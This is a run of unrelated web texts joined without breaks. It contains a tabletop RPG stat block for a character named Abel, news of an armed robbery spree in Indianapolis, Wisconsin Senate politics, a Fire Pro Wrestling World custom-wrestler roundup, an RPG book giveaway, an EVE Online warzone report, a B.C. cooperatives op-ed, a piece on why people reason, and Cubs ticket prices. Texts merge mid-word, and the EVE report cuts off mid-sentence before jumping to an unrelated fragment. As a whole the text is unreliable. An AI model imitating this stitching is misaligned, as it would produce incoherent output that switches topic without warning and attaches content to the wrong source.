Unarmored Defense. While Abel is not wearing any armor and not wielding a shield, his Armor Class equals 10 + his Dexterity modifier + his Wisdom modifier + the number of martial arts stances he knows.
Unarmored Movement. Abel’s speed increases by 15 feet while he is not wearing armor or wielding a shield.
Wholeness of Body (1/long rest). As an action, Abel can regain 21 hit points.
ACTIONS
Multiattack. Abel attacks three times (if attacking unarmed, he can spend his bonus action to attack a fourth time or his bonus action and 1 ki to attack a fourth and fifth time).
Unarmed Strike. Melee Weapon Attack: +9 to hit, reach 5 ft., one target. Hit: 8 (1d6+6) bludgeoning damage plus 3 (1d6) acid damage.
Tornado Throw. Abel may use his action to throw a creature he is grappling. The target is thrown 1d4 times 10 feet and lands prone. If a thrown target strikes an object, such as a wall or floor, the target takes 3 (1d6) bludgeoning damage for every 10 feet it was thrown. If the target is thrown at another creature, that creature must succeed on a DC 16 Dexterity saving throw or takes the same damage and is knocked prone. If the saving throw is successful, the second target takes half the bludgeoning damage and isn’t knocked prone.
REACTIONS
Deflect Missile. Abel can spend his reaction to strike a missile when he is hit by a ranged weapon attack, reducing its damage by 13 (2d6+6).
Slow Fall. Abel can use his reaction when he falls to reduce any falling damage he takes by 35.
Sky Fall. When a creature is in the air (either jumping or flying) and within Abel’s reach, he may spend his reaction to make an unarmed strike against them, grappling the target on a successful hit.
Abel’s Sambo Gi
Legendary wondrous item
Abel’s attire has gradually absorbed some of his spent ki, granting whomever dons it the knowledge of potent combat techniques. While wearing Abel’s sambo gi, you are able to use fighting style features with your unarmed strike. You also gain the following benefits:
Marseiyu Rolling. If you spend 1 ki to Dash as a bonus action, you may travel through the squares of other creatures and do not treat squares occupied by a creature as difficult terrain.
Sky Fall. When a creature is in the air (either jumping or flying) and within your reach, you may spend your reaction to make an unarmed strike against them, grappling the target on a successful hit.
Tornado Throw. You may use your action to throw a creature grappled by you. The target is thrown 1d4 times 10 feet and lands prone. If a thrown target strikes an object, such as a wall or floor, the target takes 3 (1d6) bludgeoning damage for every 10 feet it was thrown. If the target is thrown at another creature, that creature must succeed on a Dexterity saving throw (DC 8 + your proficiency bonus + your Strength modifier) or takes the same damage and be knocked prone. If the saving throw is successful, the second target takes half the bludgeoning damage and isn’t knocked prone.
NOTES ON ABEL’S BUILD
His CR rating came in at 10.4 but I rounded up because of all those fighter abilities and Tornado Throw. I don’t play as him often, but I really like this brawling grappler-monk build and might play one soon. 😀
—————- REDUCED STATBLOCK ——————-
Abel
Medium humanoid (ropaeo), neutral fighter 7/monk 7
Armor Class 17 (Wisdom, martial arts stance)
Hit Points 123 (7d10+7d8+42)
Speed 45 ft.
STR DEX CON INT WIS CHA Dignity Haitoku 18 (+4) 17 (+3) 17 (+3) 14 (+2) 17 (+3) 12 (+1) 14 (+2) 13 (+1)
Saving Throws Str +9, Con +8
Skills Acrobatics +8, Athletics +9, Insight +8, Intimidation +6, Perception +8, Persuasion +6
Damage Resistances acid
Senses passive Perception 18
Languages Ropa, Soburi (Common)
Challenge 11 (7,200 XP)
Background Feature: Never Stop (Roustabout). Abel’s Haitoku score does not increase when he uses the attribute ability to avoid going unconscious.
Evasion. When Abel is subjected to an effect that allows him to make a Dexterity saving throw to take only half damage, he instead takes no damage if he succeeds on the saving throw, and only half damage if he fails.
Feat: Grappler. Abel has advantage on attack rolls against creatures he is grappling. In addition, he can use his action to try to pin a creature grappled by him. To do so, Abel makes another grapple check. If he succeeds, he and the creature are both restrained until the grapple ends.
Ki (7 points).
Patient Defense. Abel can spend 1 ki point to take the Dodge action as a bonus action on his turn.
Step of the Wind. Abel can spend 1 ki point to take the Disengage or Dash action as a bonus action on his turn, his jump distance is doubled for the turn, he may travel through the squares of other creatures, and he does not treat squares occupied by a creature as difficult terrain.
Stunning Attack. Abel can spend 1 ki point to attempt to stun a creature he hits with a melee weapon attack. The target must succeed on a DC 16 Constitution saving throw or be stunned until the end of his next turn.
Martial Archetype: Combat Superiority (5d10). Abel can use only one maneuver per attack. A superiority die is expended when Abel uses a maneuver. He regains all of his expended superiority dice when he finishes a short or long rest.
Feinting Attack. Abel can expend one superiority die and use a bonus action on his turn to feint, choosing one creature within 5 feet of him as his target. He has advantage on his next attack roll against that creature. If that attack hits, add the superiority die to the attack’s damage roll.
Goading Attack. When Abel hits a creature with a weapon attack, he can expend one superiority die to attempt to goad the target into attacking him. Abel adds the superiority die to the attack’s damage roll, and the target must make a DC 17 Wisdom saving throw. On a failed save, the target has disadvantage on all attack rolls against targets other Abel you until the end of his next turn.
Lunging Attack. When Abel makes a melee weapon attack on his turn, he can expend one superiority die to increase his reach for that attack by 5 feet. If he hits, he adds the superiority die to the attack’s damage roll.
Maneuvering Attack. When Abel hits a creature with a weapon attack, he can expend one superiority die to maneuver one of his comrades into a more advantageous position. He adds the superiority die to the attack’s damage roll, and he chooses a friendly creature who can see or hear him. That creature can use its reaction to move up to half its speed without provoking opportunity attacks from the target of Abel’s attack.
Riposte. When a creature misses Abel with a melee attack, he can use his reaction and expend one superiority die to make a melee weapon attack against the creature. If he hits, he adds the superiority die to the attack’s damage roll.
Sweeping Attack. When Abel hits a creature with a melee weapon attack, he can expend one superiority die to attempt to damage another creature with the same attack. Abel chooses another creature within 5 feet of the original target and within his reach. If the original attack roll would hit the second creature, it takes damage equal to the number Abel rolls on his superiority die. The damage is of the same type dealt by the original attack.
Trip Attack. When Abel hits a creature with a weapon attack, he can expend one superiority die to attempt to knock the target down. He adds the superiority die to the attack’s damage roll, and if the target is Large or smaller, it must make a DC 17 Strength saving throw. On a failed save, Abel knocks the target prone.
Open Hand Technique. Whenever Abel hits a creature with one of the attacks granted by his Flurry of Blows, he can impose one of the following effects on that target:
It must succeed on a DC 16 Dexterity saving throw or be knocked prone.
It must make a Strength saving throw. If it fails, Abel can push it up to 15 feet away from him.
It can’t take reactions until the end of Abel’s next turn.
Second Wind. On his turn, Abel can use a bonus action to regain 1d10+7 hit points. Once he uses this feature, he must finish a short or long rest before he can use it again.
Stance of Breaking Stone (2). Abel has advantage on checks made to grapple a foe or to avoid being grappled.
Stillness of Mind. Abel can use his action to end one effect on himself that is causing him to be charmed or frightened.
Wholeness of Body (1/long rest). As an action, Abel can regain 21 hit points.
ACTIONS
Multiattack. Abel attacks three times (if attacking unarmed, he can spend his bonus action to attack a fourth time or his bonus action and 1 ki to flurry of blows, attacking a fourth and fifth time).
Unarmed Strike. Melee Weapon Attack: +9 to hit, reach 5 ft., one target. Hit: 8 (1d6+6) bludgeoning damage plus 3 (1d6) acid damage. When Abel hits a creature with an unarmed strike or an improvised weapon on his turn, he can use a bonus action to attempt to grapple the target.
Tornado Throw. Abel may use his action to throw a creature he is grappling. The target is thrown 1d4 times 10 feet and lands prone. If a thrown target strikes an object, such as a wall or floor, the target takes 3 (1d6) bludgeoning damage for every 10 feet it was thrown. If the target is thrown at another creature, that creature must succeed on a DC 16 Dexterity saving throw or takes the same damage and is knocked prone. If the saving throw is successful, the second target takes half the bludgeoning damage and isn’t knocked prone.
REACTIONS
Deflect Missile. Abel can spend his reaction to strike a missile when he is hit by a ranged weapon attack, reducing its damage by 13 (2d6+6).
Slow Fall. Abel can use his reaction when he falls to reduce any falling damage he takes by 35.
Sky Fall. When a creature is in the air (either jumping or flying) and within Abel’s reach, he may spend his reaction to make an unarmed strike against them, grappling the target on a successful hit.
AdvertisementsINDIANAPOLIS -- Five teenagers – two legally adults – walked into a west side Burger King last week wearing masks and armed with guns, planning on robbing the store. Instead, they found themselves in a firefight with an armed customer.
A probable cause affidavit filed Friday in Marion County Criminal Court 1 lays out the charges against 19-year-olds Antonio Cowherd and Mikel Kendrick and their three juvenile co-defendants (who RTV6 isn't naming due to their minor status), including the alleged crime spree that saw them hit at least nine businesses last week before their arrest.
PREVIOUS | 5 suspects believed to be involved in robberies of 9 businesses in 3 days
The attempted robbery that would lead to their arrest began with Cowherd and two of the juvenile suspects entering the Burger King at 5199 W. Washington Street wearing masks and hoodies. The two juveniles were armed with firearms, though Cowherd was not.
One of the juveniles pointed his gun at the employee working the register and demanded that she open the drawer.
At that point, a customer – who told police he'd seen the suspects putting on masks and going into the Burger King and felt the employees' lives were in danger – entered the store with his own firearm and commanded Cowherd and the two juvenile suspects to "get down."
According to the probable cause affidavit, one of the juvenile suspects then turned toward the customer, who fired five shots at him. The juvenile suspect fired one shot in return and then dropped the gun as he ran out of the store.
The juvenile suspect who fired the shot received a bullet graze wound to his right arm. It was the only injury reported in the incident.
The other juvenile suspect armed with a gun also dropped his firearm as he fled the business.
Police found all five suspects riding in a Ford F-150 on the 4100 block of Kessler Boulevard a short time later. Inside the vehicle were hoodies, masks and gloves matching the ones described in previous robberies.
Upon their arrest, four of the suspects reportedly confessed to police their involvement in at least nine robberies and attempted robberies between October 3 & October 5, including at the Citgo gas station at 7239 W. 10th Street, the Speedway gas station at 3510 S. Meridian Street, and the Valero gas station at 8009 W. Washington Street less than an hour before they attempted to rob the Burger King.
During the Valero robbery, the suspects reportedly held two female clerks and a male clerk at gunpoint. One of the female clerks told police the suspects approached her, demanded she stand up and then grabbed her by the neck and put a gun to her head. The other clerk also said the suspects held a gun to her head as they demanded the drawers to the cash registers be opened.
The suspects got away from the Valero with approximately $880 from the gas station and $200 from the male customer's wallet.
All five suspects face felony counts of armed robbery, kidnapping and attempted armed robbery in connection with the case. One of the juvenile suspects faces an additional fifth felony charge of attempted battery by means of a deadly weapon.Wisconsin state Sen. Dale Schultz
Remember Dale Schultz? He was the one Republican senator in Wisconsin to vote against Gov. Scott Walker's anti-worker Budget Repair Bill.
Well, with his Republican Party now clinging to a 17-16 majority in the state Senate, Schultz is now going to be the most popular man in Madison, and de facto majority leader of the Wisconsin Senate, simply by virtue of not being a Scott Walker Republican.
Consider this: If Walker tried to pass something like his last budget again, Democrats would have enough votes in the state Senate to kill the bill outright. There would be no running to Illinois to deny quorum, no protracted battle of several weeks; the Senate could vote, and with Jessica King and Jennifer Shilling to go with Schultz and the 14 incumbent Democrats, they would have a functional majority.
So even as a Republican, Schultz, not Republican leader Scott Fitzgerald, is the most powerful man in the Senate—he is the balance of power in Wisconsin, and if he's interested, he could team with Democrats to form a majority coalition, or even switch parties outright.
Minority Democrats have built coalitions to elect moderate Republican leadership before—Texas House Speaker Joe Straus is a legacy of one such coalition, having been first elected Speaker with predominantly Democratic support. Former Tennessee House Speaker Kent Williams is another example.
Granted, Schultz will be courted by Republicans (at least those in Madison) on legislation as hard as he's courted by Democrats. So it's possible that none but the most odious Scott Walker legislation (like the Budget Repair bill) will be spiked in the Senate. But that's a lot better than the situation yesterday.
Even if Schultz did form a coalition with Democrats, it's not as though a lifelong Republican becomes a movement progressive overnight. Nevertheless, it seems his possibilities for career advancement, at least in the short term, are much better with Democrats than with Republicans. And if Schultz really does seek a moderate, bipartisan approach to governance, becoming de facto majority leader is his best shot to ensure that approach actually takes place. Schultz was in fact majority leader before, until 2006, when the Democratic wave swept the Republicans out of leadership. Perhaps he's interested in having the job again.
If he actually did switch parties, he'd again enjoy the title and the big office and all the perks that go with actually being majority leader (one suspects Democratic leader Mark Miller would happily give Schultz the title if it meant the majority).
How would all this affect his reelection? Schultz isn't up for reelection until 2014. Would he have a better chance at reelection as a Democrat? His Senate district went solidly for John Kerry in 2004, and 61 percent for Barack Obama in 2008, so yes, you'd have to think a moderate Republican-turned-Democrat who has already held the seat for 20 years could probably win there.
Certainly, he'd be better off taking his chances with the Democrats than staying a Republican, having already incurred the wrath of the tea party and virtually guaranteed a mouth-breather primary in 2014.
Of course, all this depends on Democrats actually maintaining their numbers with 16 senators. Which is why it's so important for Democratic senators Jim Holperin and Robert Wirch to win their own recalls next Tuesday.
Once they're safely back in the fold, let the courtship of Dale Schultz begin.Fire Pro Wrestling World is the return of a classic series that its longtime fans have been yearning for. The Fire Pro Wrestling games have been around since 1989 and the PC Engine, and their precision frame-based style of grappling is something different to the WWE2K series that has been the industry's champ over recent decades. The game's available on Steam Early Access for £15, with a PS4 release scheduled for somewhere down the line.
One of the key features of the series is the endless customisation options for creating wrestlers, television characters, musicians, superheroes, and animals that players can download to bulk up their roster and create dream matches: from Hulk Hogan versus Wolverine, to Kenta Kobashi facing a Grizzly Bear. The latest iteration has wisely kept this focus on sharing your creations at the core, and within 48 hours of release nearly 2,000 custom wrestlers were updated to the community page on Steam — with that number increasing at a frantic rate. We've sorted through them, dear reader, so you don't have to: here's the best of the early running in FPWW's character creator.
Jeremy Corbyn
He is the absolute boy, fighting for truth and justice in the squared circle. DanTheStripe has decided to make Fire Pro Wrestling World political and god bless him for it.
Solid Snake
When he’s not decking Mario in the face in Super Smash Bros, Solid Snake also has time to put on the tights and step into the bright lights. User Bittersteel has created the MGS hero, whose convoluted storyline and troubled relationship with his siblings could probably teach Kane and the Undertaker a thing or two.
Pepsiman
Do you remember Pepsiman? Probably not, but Aquanauts Holiday is here to remind you. Pepsiman is here to take back the Pepsi Plunge and trademark that CM Punk stole from him 15 years ago. The story just writes itself.
Gabe Newell
Gabe is sick of you geeks banging on about Half-Life 3 and has decided the only way to get some peace is to strap on the boots and stomp a mudhole. BAI GAWD, THAT GAF HAD A FAMILY!
Zangief
FrozenGoggles has created Street Figher 2’s Zangief, because it is absolutely mandatory to do so. Sadly the game doesn't yet incorporate a jumping spinning piledriver for his moveset.
Jushin Thunder Liger
What's that, real wrestlers? Oh OK. Let's start with arguably the most famous Junior Heavyweight ever. Not only because he is a legend, and not only because he once complimented me on my Totoro iPhone case, but the model created by Mister_Machete perfectly captures the saiyan style and colourful vibe of his costume.
Biff Slamkovic
The protagonist of Saturday Night Slam Masters and a student of Mike Hager, Biff Slamkovic comes to us from user Policenaut. Likely modelled off of Texas’ own Kerry Von Erich, he looks every part a hero to the people of Ukraine.
Wolf Hawkfield
Policenaut has also created Virtua Fighter’s Wolf Hawkfield. In an art-meets-life moment, Jim Steele would end up using a gimmick based on Wolf in All Japan Pro Wrestling.
Fair Bear
Looking to call it right down the middle, Dandizz’ Fair Bear means business. Even the meanest, rudest wrestler isn’t going to mess with this guy. I mean, he’s a bear.
Jim Sterling
GenericMartini has created the popular video game critic because the internet is sometimes brilliant. As soon as someone makes Cornflakes Homunculus, I will have my tag team champions.
Chelnov
Snarboo has gone obscure with his video game references. Deciding to create Chelnov, from 1988’s Atomic Runner, though the outfit would fit right at home in Arena Mexico.
Dr Tracksuit
Giant Bomb's Jeff Gerstmann is the main advocate for Dr Tracksuit and a member of RUN GFB. User Jake was kind enough to create this force of nature, whose cocaine consumption may well exceed that of the 90s Shawn Michaels.
Doom Guy
Doom Guy is not going to cut a twenty-minute promo, but he will punch you in the face a lot. Credit to user sponge.
Bob Ross
When he’s not adding a tree or bush here and there, Roasty Bunz’ wonderful version of Bob Ross is ready to lay the smackdown with unique flair. "Here's a big slam, and now we're just going to add some happy little elbow drops around the forehead..."
Luigi
Luigi has been fed up with your shit since Mario Kart 8's death stare. GenericMartini has brought the plumber to life to bring DEATH SLAMS to the squared circle.
Mario (Punch-Out attire)
Knowing that Mario is somewhat above the fray, user Angry Ed has decided that he should make an appearance as a referee (you can create more than just wrestlers using the feature, which hopefully in the future will be extended even farther.) Mario returns in an outfit not seen since the glory days of the NES.
Krusty the Clown
Death-By-Vector’s take on Springfield’s resident clown is perhaps slightly more terrifying than intended.
Bomberman
His finisher has to be the Super Powerbomb, right? Thanks to that most classic of usernames, aaaa, for this entry.
Nemesis
Here is the ‘unstoppable monster’ gimmick in its most literal form. Jazzman/Omega has done a fine job creating the nightmare of Resident Evil 3 — and my next world champion for a five-year unbeaten streak.
Duke Nukem
In fairness, Duke Nukem is tailor-made for the WWE — they both talk a lot of smack, and they both wish it was still the late 90s. Credit to 6000 Angry Bees.
GangBeast
Arkblade attempted to create one of the amusing characters from Boneloaf’s brilliant Gang Beasts. What he ended up with was a nightmare foetus.
Sans
Credit to Jazzman/Omega’s attempt at Undertale’s Sans. The aloof charm of his character has been replaced with a rather more sinister mien, which seems to be a feature of this particular character creator.
SUDA 51
SUDA 51 is a great man and a wonderful video game developer, as well as a former director of Fire Pro Wrestling himself. It is only fitting, therefore, the man would add himself to Fire Pro Wrestling World. Nice pecs mate.
Beavis
MeatySpag has created one half of your newest tag team champions of the world. He could probably deliver one hell of a headbutt, to be fair.
Robbie Rotten
KillHamski gives us the gift of LazyTown’s resident antagonist: Robbie Rotten. A gimmick that I’m stunned Vince McMahon didn’t conjure up in the early 90s next to Doink the Clown and Bastion Booger.
Sonic
That's enough.It’s time to do a little bit of giving out to the RPG community! I’ve been doing a little house cleaning and setting up the new office and I came across an extra copy of a fantastic (yet sadly out of print) RPG system called Agone. I have both the core rulebook which is a nice, 300+ page hardcover book and the softcover Grimoire supplement. It’s a great system and it’s not to terribly expensive if you’d like to purchase your own copy. Or you could enter to win your very own copy right here. Both books are brand new, never read or used. In fact, I’ve only ever looked at them out of the corner of my eye.
At the dawn of time, the Muses breathed life and magic into Harmundia. Then the Masque came, a renegade set on putting all mortals under his yoke. The Eclipse darkened the sky and Twilight descended upon the world. Since then, the humans and the nine seasonling races have built the Twilight Realms. Now the enemies are more deceitful and more powerful than ever. The Masque has returned, and the evil Darken is creeping in to the Realms. Once again, as the Eminences Grise foretold it, war is setting Harmundia ablaze!
Here’s what you have to do.
1. Go to our contact form and send us an email with the subject line Agone and at least one line in the body of the email about why you’d like this. Be sure to use a real email address so you can be contacted if you win.
Well, that’s it really.
If you’d like to include any thoughts about our site, suggestions for what you’d like to see here or your favorite RPG session snack feel free to do so.
The Rules:
This contest officially kicks off at 9am (EST) Tuesday, April 13th and will run for one week and a bit, ending at 11:59 pm on Tuesday, April 20th.
It’s only open to those in the USA. Sorry folks, shipping gets expensive.
Each entry will receive a number (i.e. 1, 2, 3, etc.) The winner will be picked at random by a rhesus monkey with a bag of dice. Or a random number generator at random.org – whichever is easier for me to obtain at the time. The monkey or random.org through the proxy of myself will be the final authority on who wins.
If you write for us, own this site or are actually a troll, you cannot enter.
That’s it! Good luck!
[tags]rpg, agone, contest[/tags]Hello pilots. Cinnamon Rage, here, bringing you more news from lowsec; specifically the Amarr/Minmatar Warzone. The Tribal Liberation Force have clawed their way out of the oblivion that the 24th Imperial Crusade had consigned them to when they secured the whole Warzone following the mass surrender of most of the Minmatar Militia, so it seems like a good time for an update on the renewed conflict.
As things stand, the Minmatar have secured a third of the Warzone and appear to have the momentum in the eternal conflict. Seven systems have been captured and held within the past 30 days (on the date of writing) by the TLF taking an average of almost two systems a week from the Amarr Militia. This momentum is not just expressed in territory, considering that in January the TLF had over one thousand fewer enlisted pilots than the Amarr; again at the time of writing, this gap has at least halved.
So the author caught up with some of the current major players in each Militia to see what’s going on. On behalf of the TLF I spoke to Ushra Khan (UNITY), Ghosts of Deep Space (GOD5) and Hoplite Brigade (HPLT) for their views; meanwhile on behalf of the 24th IC I spoke to Pyre Falcon Defence and Security (PY-RE) and Dirt ‘n’ Glitter (D-N-G). Before i’m accused of bias I did attempt to get official comments from Terpene Conglomorate (TERP) on behalf of Amarr Militia however RL prevented a response being formulated. So who are these factions that are currently dominating the major Militia conflicts?
With allegiance to Amarr Militia there is Tiberious Thessalonia on behalf of PY-RE and their alliance MCF1B:
“MCF1B is a new Faction War Alliance made up of Faction War veterans Pyre Falcon Defense and Security, and the Fluffy Puppy Fight Club. We formed earlier this month after a long period of flying together after we broke off from i.law. MCF1B focuses on small-gang and small ship warfare, but has the capability to roll around in bigger boats due to the higher than average skillpoint levels of most of our members, though we certainly love our newbros as well. Pyre Falcon specifically comes from a core group of State Loyal RPers though we expanded to become truly multicultural and more RP-lite than anything. Some members wouldn’t know what to do if you handed them a robe and wizard hat, and that’s just fine.”
and Tristan daCuhna CEO of D-N-G:
“I first joined the Amarr militia on 25/12/12 and founded Dirt ‘n’ Glitter (DNG) on 04/07/13 after leaving Fweddit who were deploying away from FW to join the CFC offensive against TEST in Delve. DNG are currently ranked #1 in the Amarr militia. We are well known for the questionable quality of our Reddit posts, being a new bro friendly FW corp and our obsession with Kesha.”
Meanwhile for the TLF DeT Resprox of Ushra’Khan:
“The Ushra’Khan is a role-play alliance operating predominantly against the supporters of the Amarr Empire. We are New Eden’s oldest ‘Freedom Fighter’ and the first alliance in EvE. On 1st July YC114 (2012), the Ushra’Khan enlisted in the Tribal Liberation Force in order to directly support the war effort against the Amarr Empire in the ongoing Empyrean War. The Masuat’aa Matari are one of the original corporations who only recruit Minmatar pilots. The alliance is led by DeT Resprox, the last remaining original founding member (former SMaK Enterprises CEO).”
Odd Vector of Ghosts of Deep Space (GOD5):
“Ghosts of Deep Space is a casual Minmatar FW Alliance. I started my EVE career in null security space but quickly moved to FW space. I’ve been in FW for over two years now. We don’t roleplay and we don’t take EVE too seriously. We’re just here to have fun.”
In addition the author has spoken to Indius Lux (CEO) and Agharaster (Director) of Hoplite Brigade however I will discuss their significance later in the article.
As mentioned earlier the momentum in the Warzone appears to lie with the Minmatar at present. I decided to see what the representatives from the TLF thought of this:
“Both the Minmatar and the Amarr miltias can currently field forces of near even numbers and we both have capable fleet commanders. The momentum is a pendulum of back and forth. As we move to take systems, they move to reclaim those taken from them. As they move to reclaim lost systems, we move to hit an area away from their current focus. While they currently hold the majority – we |
, normal-ish) romantic scenarios in the face of… well, giant, sentient pigeons.
Jurassic Heart has only been online for a couple of days and it’s already winning over tens of thousands of Tumblr users, and even inspiring some romantic T-rex fanart. But according to its co-creator Hima, the game’s success was a complete accident. The idea came from a game design tool called TyranoScript, which inspired them to write a storyline about dating an actual Tyrannosaur. Still, fans of Taira will be glad to hear that Jurassic Heart’s creators may work on a longer game with five dinosaurs to choose from.
All images via Jurassic HeartProgressive government has arrived in British Columbia. The New Democratic Party, with support from the Greens, will have a precious opportunity to promote genuine equity and sustainability in their policy making, values that were buried alive during Christy Clark’s reign as premier.
Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette.
The NDP and Greens have jointly promised an Emerging Economy Task Force to “address the changing nature of business over the next 10 to 25 years.” In the shorter term the task force will help guide policy-making that creates jobs, acts on climate change, and builds a “sustainable economy that works for everyone.”
Policy that supports the growth of the cooperative sector in B.C. can go a long way towards achieving the goals of a sustainable and equitable economy that both the Greens and NDP share. Consider the Basque region of Spain, where the Mondragon cooperative network is the largest employer, providing jobs to over 80,000 workers, working in the areas of manufacturing, retail, finance, and research and development. It acts as a parent company to many different co-ops.
Basque country is the wealthiest region in Spain with a per capita GDP that is 35 per cent higher than the Spanish average, and 30 per cent higher than the EU average. The Basque country also has low income inequality compared to the European average. Worker satisfaction in the region is one of the highest in the world.
As a worker-owned cooperative, Mondragon has unique features distinguishing it from traditional capitalist firms. One key difference is the cap in pay differential between top and bottom earners. Currently the top earners with Mondragon can only earn six times the pay of those in the bottom bracket. In comparison, the top CEOs in Canada, according to the Canadian Centre for Policy Alternatives, currently make 193 times an average industrial worker’s salary. Cooperatives, with their democratic ownership and control, are one tool for challenging the ridiculous divide between top and middle earners at Canadian companies.
Public policy supportive of cooperatives has played a key role in Mondragon’s success, and the relative equity and worker-satisfaction found in Basque country. For example, Spanish cooperatives enjoy a favourable tax rate. The Spanish corporate tax rate is 30 per cent. Cooperatives benefit from only paying a 20 per cent tax rate, while coops labeled “specially protected” pay an even lower rate of 10 per cent. “Specially protected” cooperatives include worker-owned cooperatives, agricultural cooperatives, and consumer coops; their special status derives from the social good they generate.
Along with preferential taxation there are two other key policy forms that have been successfully deployed to grow cooperative economies around the world. Perhaps the most important is access to public financing. Conventional financial institutions, due to unfamiliarity with the form and ideological blinders, can be hesitant to lend to cooperatives, especially worker-owned firms. The strong credit union sector in B.C. reduces this concern (credit unions are cooperative banks that are more likely to lend to fellow cooperatives), but having access to public financing would still help grow the cooperative economy, especially for capital-intensive projects.
In Italy, the Marcora Act of 1985 set up two different funds for financing coop development. The first is a general fund for the development of all types of cooperatives. The second is designed specifically to deal with employee take-overs of troubled companies. Similarly, the Government of Quebec maintains a robust coop loan fund. The fund covers start-up and expansion costs including capital asset acquisitions, and product and market development. Having access to a lender of low-interest capital for both large and small cooperative projects addresses a key barrier to coop development.
Another key mechanism that can support cooperative growth is governmental support for the technical side of starting a new collective enterprise. The Quebecois cooperative movement has benefitted considerably from the formation of Regional Development Cooperatives. These organizations are funded primarily by the provincial government and have a mandate to support the creation of new coops, strengthen existing coops, and support co-operative networks in Quebec’s 17 administrative regions. These RDCs, which operate as cooperatives themselves, have played a central role in growing Quebec’s cooperative sector.
Another mechanism with real promise to grow cooperative economies is preferential bidding on governmental purchasing contracts. Because cooperatives regularly achieve public goals like job creation, good wages, and greater job satisfaction, then it makes sense for them to be first in line when the government goes to buy goods and services with public money. Recent research shows that in 2010 cooperatives in Canada created jobs at nearly five times the rate of the overall economy, and generated 11 per cent more income for those employed in the industry.
Along with job creation, good wages and worker satisfaction, cooperatives can also help forge truly sustainable economies. Because they are animated by values over profit, cooperatives can more easily achieve social and ecological goals than conventional firms. For example, Vancity Credit Union recently launched Canada’s first fossil-free mutual fund and was named the 2017 top corporate citizen in Canada by Corporate Knights Magazine (Desjardins, a Quebecois credit union, came second).
Approximately 60 per cent of the British Columbians who participated in the recent election voted for platforms that prioritize equity, justice, and sustainability. By cooperating together to introduce policies that support coop growth in B.C., the NDP and Greens can make quick progress on their shared goal of crafting a sustainable economy that works for everyone.So House Dems tried to pass a discharge petition this morning that would have reopened the government:
WASHINGTON – Senior Democratic Members of the House of Representatives announced today a new effort to overcome the Republican leadership’s obstruction and allow the House to vote to open the federal government as early as October 14th through a discharge petition. This discharge petition only needs a majority of House Members to sign on and does not require any action by the Republican leadership.
“The only thing standing between this Congress and an open government is Speaker Boehner’s refusal to allow a vote on a clean continuing resolution,” said Congressman Chris Van Hollen (D-Md.). “This measure can remove the Speaker’s undemocratic roadblock and finally allow a clean vote in the House of Representatives to open the government.”
“There is a growing number of Republicans who want the opportunity to work with us to end this crisis. We have seen it in press reports. And I have heard it in my own private conversations with my Republican colleagues,” said Rep. George Miller (D-Calif.). “Today, we are offering my Republican friends, and the American people, a way forward.”People and institutions usually prefer to explain their behaviors in self-serving and self-flattering ways. For example, we usually explain human abilities to create and evaluate chains of reasoning in terms of truth – by reasoning we can better see what is true (including truths about what we want to do).
I’m a little late to the response party, but back in April Mercier and Sperber published their theory that reasoning is designed more to help people persuade others, than to infer truth:
Reasoning is generally seen as a means to improve knowledge and make better decisions. … Our hypothesis is that the function of reasoning is argumentative. It is to devise and evaluate arguments intended to persuade. … A wide range of evidence in the psychology of reasoning and decision making can be reinterpreted and better explained in the light of this hypothesis. … Reasoning is not only for convincing but also for evaluating arguments, and that as such it has an epistemic function. (more; ungated)
Many of their critics, however, noted that reasoning could serve even more functions. Mercier and Sperber responded that such other functions were of only minor importance:
Several commentators, while agreeing that argumentation may be an important function of reasoning, suggest that it may serve other functions, as well. … Our claim is that argumentation is the main function of reasoning. …
Dessalles and Frankish suggest that argumentation could have evolved as a means to display one’s intellectual skills. Indeed, argumentation can be put to such a use. However, … reasoning is more like a crow’s than a peacock’s tail: It may be a bit drab, but it serves its main function well. Its occasional use, for instance, in academic milieus, to display one’s intellectual skills is unlikely to contribute to fitness to the point of having become a biological function, let alone the main function of reasoning. …
Pietraszewski … draws attention to a … class of cases … [where] who is arguing should be just as important as what they are saying when considering the ‘goodness’ of an argument” … The main relevance of a communicative act may be … in the very fact that it took place at all; it may have to do with … signaling agreement and disagreement. This can be done in particular by using arguments not so much to convince but to polarize. …
Frankish points out that reasoning can be used to strengthen our resolve by buttressing our decisions with supporting arguments.
Notice that, relative to the usual story of reasoning’s function, Mercier and Sperber offer a less flattering than usual explanation for argument speakers, but not for argument listeners. That is, Mercier and Sperber accept the self-flattering story of those who hear arguments, that they mainly just want to figure out what is true about the content of the topics argued.
So what might listeners of arguments be up to instead? As the critics above suggest, listeners could be trying to gauge speaker impressiveness, or the social support the speaker can muster in his or her conflicts. Also, listeners could be trying to figure out what they will say in response, in argumentation contests with many possible criteria for who wins. And argument listeners might try to gauge what positions will become accepted by a wider community, to help them decide what positions to personally support.
Once you give it a bit of thought, you can see many possible and even plausible explanations for human reasoning abilities, beyond the simple self-flattering story that we are trying to figure out what is true about the topic of our reasoning.
GD Star Rating
loading...The average price for Cubs tickets is going up about 10 percent, the team said Friday as it sent out 2016 invoices to season-ticket holders.
The number of marquee games also has been increased from nine to 14 in the bowl and the bleachers, while one section of outfield terrace reserve has been reclassified to corner box reserve, with a 43 percent increase.
Colin Faulkner, senior vice president of sales and partnerships, said the team's annual analysis of ticket sales from 2015, along with its renewal numbers, the waiting list for tickets and the huge demand for postseason tickets, led to the team's highest increase since 2010.
In other words, you're paying for the Cubs' success.
"We've clearly seen an increase in demand, so that helped factor into an increase in our prices," Faulkner said. "Our goal is to remain competitive for the long term and provide value to our fans for a competitive baseball team, but also (value) in their tickets."
The Cubs had the third-highest average ticket price in the game in 2015, according to Team Marketing Report. They finished sixth in major-league attendance at 2.959 million fans after ranking 11th at 2.562 million in 2014.
With the Cubs advancing to the National League Championship Series and winning 97 games, no one appears too concerned the price hike will stifle another big attendance increase. The front office is looking for starting pitching and a center fielder after free agent Dexter Fowler officially declined the Cubs' $15.8 million qualifying offer on Friday.
According to the Cubs' numbers, the increases will range from about 7 percent in the upper box midfield/outfield to 14.5 percent in upper infield reserve to more than the 38 percent increase in some of the newly reclassified terrace boxes.
The highest average ticket price, a club infield box, is $105.24 per game, or $118 with the 12 percent amusement tax added. The lowest, upper deck outfield reserve, is $20.37, or about $23 with the amusement tax. Bleacher tickets remain about the same, from $16 to $65 before taxes, though the addition of marquee games will increase the total price.
One section of the terrace reserved outfield, affecting about 900 seats, or about 350 season-ticket holders, will be reclassified as corner seats, with a 43 percent increase. The Cubs originally said it was a 38 percent, before correcting the error.
